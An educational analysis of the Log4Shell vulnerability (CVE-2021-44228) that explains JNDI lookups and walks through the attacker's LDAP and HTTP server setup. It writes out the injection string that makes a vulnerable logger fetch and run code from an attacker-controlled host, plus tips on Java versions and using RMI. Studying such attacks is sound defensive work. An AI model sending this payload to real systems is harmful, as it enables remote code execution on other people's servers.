CVE-2021-44228 Analysis

How does it work?

Below is a detailed process of a remote injection case by exploiting log4shell vulnerability. First, there are 3 part we need to know:

1. Log4j2 allows for the logging of data using a feature called message lookup substitution, where log messages can include data dynamically pulled from various sources. (It supports JNDI Lookup)

2. JNDI Lookup: Allows data to be fetched via the Java Naming and Directory Interface (JNDI) API, which can interact with different directory services

   

3. LDAP (Lightweight Directory Access Protocol): Used primarily for accessing and managing directory information services over a network.

---

Here is a simple example of Remote Code Execution:

1. Hacker set up both LDAP server (accessed by LDAP protocol, keeping a Java malicious code reference) and HTTP server (the place store malicious code)

   1. Set up a HTTP Server in the directory that contain compiled malicious code:

      

   2. Set up a LDAP Server that store reference:

      

2. Hacker sends malicious Input (${jndi:ldap://LDAPSERVER IP:PORT/code}) to software system that have installed log4j2

   

3. Log4j2 using the lookup feature to send request to LDAP server

4. LDAP server redirect requests to HTTP servers via Java code references stored in LDAP servers

5. HTTP server sends back malicious code to software system, and then software system executes the malicious code.

Malicious Code:

Execute malicious code succeeded:

---

IMPORTANT:

1. It is not we can only use LDAP server to do remote code execution, we can also use other methods (such as RMI) as long as the log4j2 successfully do the message lookup substitution and execute malicious code

2. Different versions of Java can make the exploit process different (here we are using java 1.8u112).

3. It is recommended to use the same version of Java in the malicious code as the software (servers using log4j2) or at most not higher than the Java version of the software.

   

4. The lookup code in Log4j2: